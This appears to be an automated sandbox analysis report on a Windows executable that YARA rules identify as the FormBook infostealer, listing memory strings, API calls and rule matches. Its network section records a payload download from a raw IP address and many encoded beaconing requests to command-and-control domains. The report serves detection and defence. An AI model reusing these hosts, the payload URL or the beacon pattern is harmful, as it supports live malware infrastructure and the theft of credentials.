Source: explorer.exe, 00000004.00000000.3251752241.000000000CDD6000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/Omniroot2w
Source: explorer.exe, 00000004.00000003.6362930968.000000000CE21000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.7937341605.000000000CE21000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
Source: sOjxIU25DP.exe, 00000002.00000001.3105168096.0000000000649000.00000008.00000001.01000000.00000005.sdmp	String found in binary or memory: http://inference.location.live.com11111111-1111-1111-1111-111111111111https://partnernext-inference.
Source: sOjxIU25DP.exe, sOjxIU25DP.exe, 00000000.00000002.3277628377.000000000040A000.00000004.00000001.01000000.00000003.sdmp, sOjxIU25DP.exe, 00000000.00000000.2857345610.000000000040A000.00000008.00000001.01000000.00000003.sdmp, sOjxIU25DP.exe, 00000002.00000000.3102752985.000000000040A000.00000008.00000001.01000000.00000003.sdmp, explorer.exe, 00000004.00000002.7953793155.00000000142BF000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: http://nsis.sf.net/NSIS_Error
Source: sOjxIU25DP.exe, 00000000.00000002.3277628377.000000000040A000.00000004.00000001.01000000.00000003.sdmp, sOjxIU25DP.exe, 00000000.00000000.2857345610.000000000040A000.00000008.00000001.01000000.00000003.sdmp, sOjxIU25DP.exe, 00000002.00000000.3102752985.000000000040A000.00000008.00000001.01000000.00000003.sdmp, explorer.exe, 00000004.00000002.7953793155.00000000142BF000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: explorer.exe, 00000004.00000003.6362930968.000000000CE21000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.7937341605.000000000CE21000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: explorer.exe, 00000004.00000002.7928708193.0000000009B58000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.3251752241.000000000CDD6000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0:
Source: explorer.exe, 00000004.00000003.4663633920.000000000CD96000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.comhttp://crl3.digicert.com/Omniroot2025.crl
Source: explorer.exe, 00000004.00000003.4663633920.000000000CD96000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.3251752241.000000000CDD6000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.msocsp.com0
Source: explorer.exe, 00000004.00000002.7933540909.000000000AEC0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000004.00000002.7932358850.000000000A070000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://schemas.micro
Source: explorer.exe, 00000004.00000003.4661400751.000000000D00E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.foreca.com
Source: sOjxIU25DP.exe, 00000002.00000001.3105168096.0000000000649000.00000008.00000001.01000000.00000005.sdmp	String found in binary or memory: http://www.gopher.ftp://ftp.
Source: sOjxIU25DP.exe, 00000002.00000001.3105168096.0000000000626000.00000008.00000001.01000000.00000005.sdmp	String found in binary or memory: http://www.ibm.com/data/dtd/v11/ibmxhtml1-transitional.dtd-//W3O//DTD
Source: sOjxIU25DP.exe, 00000002.00000001.3105168096.00000000005F2000.00000008.00000001.01000000.00000005.sdmp	String found in binary or memory: http://www.w3c.org/TR/1999/REC-html401-19991224/frameset.dtd
Source: sOjxIU25DP.exe, 00000002.00000001.3105168096.00000000005F2000.00000008.00000001.01000000.00000005.sdmp	String found in binary or memory: http://www.w3c.org/TR/1999/REC-html401-19991224/loose.dtd
Source: explorer.exe, 00000004.00000003.6360065215.000000000D44E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.6370113181.000000000D44E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://activity.windows.com/UserActivity.ReadWrite.CreatedByApp
Source: explorer.exe, 00000004.00000000.3251752241.000000000CDD6000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.4663633920.000000000CF69000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://android.notify.windows.com/iOS
Source: explorer.exe, 00000004.00000000.3251752241.000000000CDD6000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://android.notify.windows.com/iOS/
Source: explorer.exe, 00000004.00000003.4663633920.000000000CD96000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?
Source: explorer.exe, 00000004.00000003.4661400751.000000000D00E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?activityId=F20685E571224867A1827EC912069805&timeOut=5000&oc
Source: explorer.exe, 00000004.00000003.4661400751.000000000D00E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com:443/v1/news/Feed/Windows?
Source: explorer.exe, 00000004.00000003.6362930968.000000000CE21000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.7937341605.000000000CE21000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/
Source: explorer.exe, 00000004.00000000.3251752241.000000000CDD6000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/serviceak/v1/news/Feed/Windows?apikey=qrUeHGGYvVowZJuHA3XaH0uUvg1ZJ0GUZnXk3mx
Source: explorer.exe, 00000004.00000003.4661400751.000000000D00E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/
Source: explorer.exe, 00000004.00000003.4661400751.000000000D00E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/eupollen/city/202307180000/EuPollenCity.json
Source: explorer.exe, 00000004.00000003.4661400751.000000000D00E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/eupollen/rendered/20230718/
Source: explorer.exe, 00000004.00000003.4661400751.000000000D00E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/svg/72/TrafficIncidentSevere2.svg
Source: explorer.exe, 00000004.00000003.4661400751.000000000D00E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/svg/72/uspollen/uspollen
Source: explorer.exe, 00000004.00000003.4661400751.000000000D00E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JVI3Ng-
Source: explorer.exe, 00000004.00000003.4661400751.000000000D00E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JVI3NgA=/AQI/uspl03.svg
Source: explorer.exe, 00000004.00000003.4661400751.000000000D00E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JVI3NgA=/Condition/AAehR3S.svg
Source: explorer.exe, 00000004.00000003.4661400751.000000000D00E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JVI3NgA=/Teaser/rainstart0.svg
Source: explorer.exe, 00000004.00000003.4661400751.000000000D00E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAMqFmF.img
Source: explorer.exe, 00000004.00000003.4661400751.000000000D00E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAWSzn9.img
Source: explorer.exe, 00000004.00000003.4661400751.000000000D00E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB10MkbM.img
Source: explorer.exe, 00000004.00000003.4661400751.000000000D00E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1ftEY0.img
Source: explorer.exe, 00000004.00000003.4661400751.000000000D00E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB7gRE.img
Source: explorer.exe, 00000004.00000003.4661400751.000000000D00E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB7hg4.img
Source: explorer.exe, 00000004.00000003.4661400751.000000000D00E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBkwUr.img
Source: sOjxIU25DP.exe, 00000002.00000001.3105168096.0000000000649000.00000008.00000001.01000000.00000005.sdmp	String found in binary or memory: https://inference.location.live.net/inferenceservice/v21/Pox/GetLocationUsingFingerprinte1e71f6b-214
Source: explorer.exe, 00000004.00000003.4661400751.000000000D00E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://windows.msn.com:443/shell?osLocale=en-US
Source: explorer.exe, 00000004.00000003.4661400751.000000000D00E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://windows.msn.com:443/shellv2?osLocale=en-US
Source: explorer.exe, 00000004.00000003.6360065215.000000000D44E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.6370113181.000000000D44E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://wns.windows.com/
Source: explorer.exe, 00000004.00000003.6362930968.000000000CF69000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.4663633920.000000000CF69000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://word.office.comH
Source: explorer.exe, 00000004.00000003.6362930968.000000000CE21000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.7937341605.000000000CE21000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.digicert.com/CPS0
Source: explorer.exe, 00000004.00000003.4661400751.000000000D00E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/de-ch/autos/nachrichten/genesis-g90-feiert-europapremiere-hyundais-edelmarke-pr
Source: explorer.exe, 00000004.00000003.4661400751.000000000D00E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/de-ch/finanzen/aktiendetails/earnings/fi-a24kar?noti=EarningRelease
Source: explorer.exe, 00000004.00000003.4661400751.000000000D00E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/de-ch/finanzen/nachrichten/swatch-verklagt-malaysia-wegen-beschlagnahmung-von-re
Source: explorer.exe, 00000004.00000003.4661400751.000000000D00E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/de-ch/finanzen/wirtschaft/neue-daten-zur-armutsquote-geht-es-unseren-rentnern-be
Source: explorer.exe, 00000004.00000003.4661400751.000000000D00E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/de-ch/gesundheit/medizinisch/h
Source: explorer.exe, 00000004.00000003.4661400751.000000000D00E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/international/chinas-aussenminister-seit-drei-wochen-nicht-meh
Source: explorer.exe, 00000004.00000003.4661400751.000000000D00E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/international/neue-welle-im-anmarsch-s
Source: explorer.exe, 00000004.00000003.4661400751.000000000D00E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/international/reise-ombudsmann-r
Source: explorer.exe, 00000004.00000003.4661400751.000000000D00E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/news/eu-pl
Source: explorer.exe, 00000004.00000003.4661400751.000000000D00E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/other/diese-bett-angewohnheiten-sind-ein-trennungsgrund/ar-AA1
Source: explorer.exe, 00000004.00000003.4661400751.000000000D00E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/other/dieses-schweizer-tram-soll-bald-in-der-ukraine-fahren-al
Source: explorer.exe, 00000004.00000003.4661400751.000000000D00E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/other/dorf-wird-evakuiert-armee-entsendet-super-puma-zum-brand
Source: explorer.exe, 00000004.00000003.4661400751.000000000D00E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/other/gegenwehr-in-der-k
Source: explorer.exe, 00000004.00000003.4661400751.000000000D00E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/other/helikopter-im-einsatz-waldbrand-bei-bitsch-vs/ar-AA1dYSw
Source: explorer.exe, 00000004.00000003.4661400751.000000000D00E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/other/hier-testet-z
Source: explorer.exe, 00000004.00000003.4661400751.000000000D00E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/other/massive-regenf
Source: explorer.exe, 00000004.00000003.4661400751.000000000D00E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/other/sagt-man-paprika-oder-peperoni-ihr-habt-abgestimmt/ar-AA
Source: explorer.exe, 00000004.00000003.4661400751.000000000D00E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/other/sandoz-geht-diesen-herbst-als-eigenst
Source: explorer.exe, 00000004.00000003.4661400751.000000000D00E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/other/warum-band-das-ns-regime-den-unerw
Source: explorer.exe, 00000004.00000003.4661400751.000000000D00E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/other/werden-in-der-schweiz-private-feuerwerke-bald-verboten/a
Source: explorer.exe, 00000004.00000003.4661400751.000000000D00E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/de-ch/nachrichten/politik/nach-knapp-zehn-jahren-ehe-aus-bei-gr
Source: explorer.exe, 00000004.00000003.4661400751.000000000D00E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/de-ch/sport/fussball/schweizer-super-league
Source: explorer.exe, 00000004.00000003.4661400751.000000000D00E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/de-ch/sport/fussball/soccer-international-world-cup-women
Source: explorer.exe, 00000004.00000003.4661400751.000000000D00E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/de-ch/sport/fussball/verletzter-noch-nicht-vernehmungsf
Source: explorer.exe, 00000004.00000003.4661400751.000000000D00E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/de-ch/sport/other/auf-dieses-quintett-k
Source: explorer.exe, 00000004.00000003.4661400751.000000000D00E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/de-ch/sport/other/golfer-steigt-ins-wasser-und-vergibt-die-chance-auf-den-sieg-s
Source: explorer.exe, 00000004.00000003.4661400751.000000000D00E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/de-ch/sport/other/neue-richtlinien-f
Source: explorer.exe, 00000004.00000003.4661400751.000000000D00E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com:443/de-ch/feed
Source: explorer.exe, 00000004.00000003.4661400751.000000000D00E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.polleninfo.org/

Source: unknown

DNS traffic detected: queries for: www.rikkun501.com

Source: global traffic	HTTP traffic detected: GET /windows/f/ayewoMsIHKx140.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0Host: 192.3.26.168Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ms14/?QJB0xT=7pJIIbtCMy+ecPp8pgyiBZjmVH3xwtCfzKzpB8i7ILiJr4SH9k6ng2HuTeqTpN16/Xyy&B2Mpk=f85PJD7hpN2lIn7P HTTP/1.1Host: www.4213z0.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /ms14/?B2Mpk=f85PJD7hpN2lIn7P&QJB0xT=0MCVt3ro+Y2fULC7mglHTnfgc1Mr+oeAYZcaZJUD5Vdcg90q3P52QZV9uqsVct+gY69j HTTP/1.1Host: www.lasik-de-de-8808230.zoneConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /ms14/?B2Mpk=f85PJD7hpN2lIn7P&QJB0xT=u3S/fUpBdl6P8b4ADNn+FVx0VEGCDPoJ7b9d+427u3NTiKr5dAp1QyZtAqVtC5y+GShx HTTP/1.1Host: www.lilith-con.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /ms14/?QJB0xT=lEjG/k1PkI4zOJF8oXanKdsdehVTXLpE1fkbJc1gJRmE6X0hy4jq+etMznheHQbAVKud&B2Mpk=f85PJD7hpN2lIn7P HTTP/1.1Host: www.1cdpwp.cfdConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /ms14/?B2Mpk=f85PJD7hpN2lIn7P&QJB0xT=ZV58cyt7lud3nw6eSnCnw3hvj6dUBdrYkOi4GK43GwnmJSRRdDKHOou2s3Asj9CH0dO3 HTTP/1.1Host: www.qwevqgjw.cfdConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /ms14/?QJB0xT=8VzwEhVnpj9LHHh/dBVXH/vZWr+ED3Zs+ywwPL0zx8n2VWRBGUwo2mcFvQSxFjo7HGkT&B2Mpk=f85PJD7hpN2lIn7P HTTP/1.1Host: www.civzbpp.xyzConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /ms14/?B2Mpk=f85PJD7hpN2lIn7P&QJB0xT=bHN4wORI7H+NWcMfY9gYOUeN/ujL3+jkL0HCUOGFoqjmS/sbmAxe1bbDFfr2wZF6/DmY HTTP/1.1Host: www.trullys.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /ms14/?QJB0xT=TIWzyoGdrQFlteRTPc2/q3mkvp99BCJHnTod9wRXADTUDAS/FCyUAwX7vGiWwWxn+VUq&B2Mpk=f85PJD7hpN2lIn7P HTTP/1.1Host: www.kidomarketing.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /ms14/?QJB0xT=FUnpMs8zmvOjmROP3PnlROYxRJ7cCFlgEWWc0/bexyWbb6gAbwR4+JgC7sIqrRtPqJOK&B2Mpk=f85PJD7hpN2lIn7P HTTP/1.1Host: www.peterscanner.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /ms14/?B2Mpk=f85PJD7hpN2lIn7P&QJB0xT=guECCXqLjKMlTgXYmWlTNZtjq1eNGXNQ/IdW5sYhHpF3w1JDH28dgIACtLNueUjQEvWN HTTP/1.1Host: www.v3rqa4.cfdConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /ms14/?QJB0xT=HLFfgtSIv2BFOuqEXXmjMsOgX5uXR5t8szQFcDcueEkA15zyo77SlbLbtLZStBcBunAe&B2Mpk=f85PJD7hpN2lIn7P HTTP/1.1Host: www.windyhillcnc.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /ms14/?QJB0xT=OQWpPi6uI3UGBYQJZSbMJqnqSY5RWfuSjay0cT6R5KncvGzSjOF/jghVxSWpT7vNO9hf&1bo=C0GXuXghTTwLYH3P HTTP/1.1Host: www.wecanshipit.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /ms14/?1bo=C0GXuXghTTwLYH3P&QJB0xT=61ESqerRCvuT4VGqBSm67J6rRXzHoZWImFNiyKjsxOo7CEi29JlSDgSUvZ82cb9D0UFy HTTP/1.1Host: www.porterhayranch.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /ms14/?QJB0xT=ExO+mlRW1o/NYIiPH+dEMyGuDqrixouKzp4y+1w6c7Z43bD4dH58n5BRPsGlc5F6RPX6&1bo=C0GXuXghTTwLYH3P HTTP/1.1Host: www.clasmiv.xyzConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /ms14/?1bo=C0GXuXghTTwLYH3P&QJB0xT=MLQ+HTgVUn3jaFS2ILzuAjsIJjNu+1+3m/Sj2Q2hvWs5q9gbPJxLuvYlh2aS2xbCyKej HTTP/1.1Host: www.tissageparis.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Source: C:\Users\user\Desktop\sOjxIU25DP.exe

Code function: 0_2_0040548D GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,LdrInitializeThunk,GetClientRect,GetSystemMetrics,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,ShowWindow,LdrInitializeThunk,ShowWindow,GetDlgItem,SendMessageA,SendMessageA,SendMessageA,GetDlgItem,CreateThread,CloseHandle,ShowWindow,LdrInitializeThunk,ShowWindow,LdrInitializeThunk,LdrInitializeThunk,ShowWindow,SendMessageA,CreatePopupMenu,AppendMenuA,GetWindowRect,TrackPopupMenu,SendMessageA,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageA,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_0040548D

E-Banking Fraud

Yara detected FormBook

Source: Yara match	File source: 00000002.00000002.3309090577.00000000000A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.7905498949.0000000002F10000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.3386638868.00000000348F0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.7902345093.00000000009B0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.7903855640.0000000002EC0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000002.00000002.3309090577.00000000000A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000002.00000002.3309090577.00000000000A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000002.00000002.3309090577.00000000000A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000008.00000002.7905498949.0000000002F10000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000008.00000002.7905498949.0000000002F10000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000008.00000002.7905498949.0000000002F10000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000002.00000002.3386638868.00000000348F0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000002.00000002.3386638868.00000000348F0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000002.00000002.3386638868.00000000348F0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000008.00000002.7902345093.00000000009B0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000008.00000002.7902345093.00000000009B0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000008.00000002.7902345093.00000000009B0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000004.00000002.7932779071.000000000A3EB000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_772cc62d Author: unknown
Source: 00000008.00000002.7903855640.0000000002EC0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000008.00000002.7903855640.0000000002EC0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000008.00000002.7903855640.0000000002EC0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: Process Memory Space: sOjxIU25DP.exe PID: 8016, type: MEMORYSTR	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown

Source: sOjxIU25DP.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: 00000002.00000002.3309090577.00000000000A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000002.00000002.3309090577.00000000000A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000002.00000002.3309090577.00000000000A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000008.00000002.7905498949.0000000002F10000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000008.00000002.7905498949.0000000002F10000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000008.00000002.7905498949.0000000002F10000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000002.00000002.3386638868.00000000348F0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000002.00000002.3386638868.00000000348F0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
